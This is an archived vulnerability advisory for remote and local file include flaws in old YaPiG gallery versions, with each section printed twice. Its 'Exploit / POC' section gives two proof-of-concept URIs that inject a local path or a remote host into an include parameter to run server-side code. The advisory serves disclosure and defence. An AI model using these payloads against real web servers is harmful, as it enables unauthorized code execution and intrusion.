YaPiG Remote and Local File Include Vulnerabilities
BID:13874
Info
YaPiG Remote and Local File Include Vulnerabilities
| Bugtraq ID: | 13874 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Jun 06 2005 12:00AM |
| Updated: | Jun 06 2005 12:00AM |
| Credit: | These vulnerabilities were discovered by an anonymous person. SecWatch reported these vulnerabilities. |
| Vulnerable: |
YaPiG YaPig 0.94 u YaPiG YaPig 0.93 u YaPiG YaPig 0.92 b |
| Not Vulnerable: | |
Discussion
YaPiG Remote and Local File Include Vulnerabilities
YaPiG is affected by remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
This issue is reported to affect YaPiG versions 0.92b, 0.93u and 0.94u; earlier versions may also be affected.
YaPiG is affected by remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
This issue is reported to affect YaPiG versions 0.92b, 0.93u and 0.94u; earlier versions may also be affected.
Exploit / POC
YaPiG Remote and Local File Include Vulnerabilities
No exploit is required.
The following proof of concept URI are available:
Version 0.92b: http://www.example.com/global.php?BASE_DIR=/local/path/to/global-gen.php
Version 0.93u/ 0.94u: http://www.example.com/last_gallery.php?YAPIG_PATH=http://www.example.com/
No exploit is required.
The following proof of concept URI are available:
Version 0.92b: http://www.example.com/global.php?BASE_DIR=/local/path/to/global-gen.php
Version 0.93u/ 0.94u: http://www.example.com/last_gallery.php?YAPIG_PATH=http://www.example.com/
Solution / Fix
YaPiG Remote and Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
YaPiG Remote and Local File Include Vulnerabilities
References:
References: